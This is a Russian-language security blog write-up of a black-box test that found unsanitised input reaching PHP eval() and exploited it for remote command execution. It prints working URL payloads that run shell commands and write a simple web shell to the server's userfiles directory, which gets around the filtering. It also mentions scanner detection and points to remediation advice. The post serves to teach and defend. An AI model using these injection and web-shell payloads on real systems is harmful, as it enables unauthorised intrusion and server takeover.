Как-то довелось мне исследовать одно Web-приложение методом black-box, в котором была выявлена красиво эксплуатабельная уязвимость , позволяющая выполнять произвольные команды на сервере.
На этапе проведения сканирования, в поле зрения попало следующее сообщение об ошибке:
Уязвимый код (полученный по окончании работ):
... if($_CONFIG["STATUS"]) eval(mkPHPeval($TMP));
...
name='more'>
Из сообщения об ошибке отчетливо прослеживается, что в функцию eval() попадают данные без предварительной обработки. Данная функция пхп оценивает передаваемую в нее строку как PHP-код. Причем, достаточно часто я встречаюсь с ее использованием в различных CMS. В общем, эксплуатируется подобная уязвимость следующим образом:
http://victim/?id=";system("ls%20-la");%20"
Можно было бы предположить, что имея возможность выполнения команд на сервере через уязвимость в этой функции проблем с получением полноценного web-shellа возникнуть не должно. Однако, в моем случае фильтрация некоторых символов все-таки осуществлялась (фильтровались знаки перенаправления и объединения потоков). Поэтому был составлен запрос следующего вида:
http://victim/?id=";$ha=fopen(substr("userfiles/pt.php",0,16),"w");fwrite($ha,$_GET[write]);%20"&write=<?system($_GET[cmd]);?>
И после успешного выполнения запроса был получен наколенный web-shell без какой либо фильтрации передаваемых к нему символов:
http://victim/userfiles/pt.php?cmd=ls
К слову, в настоящее время XSpider отлавливает подобного рода уязвимости в функции eval(). А для того, чтобы избежать их появления, и появления прочих, не менее опасных уязвимостей в Web, можно воспользоваться рекомендациями, приведенными в этом разделе .
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.
Что с нашим NGFW? Ответы — 14 апреля в Кибердоме
Конференцию откроет сессия с участием Минцифры, где оценят конкурентоспособность NGFW-решений.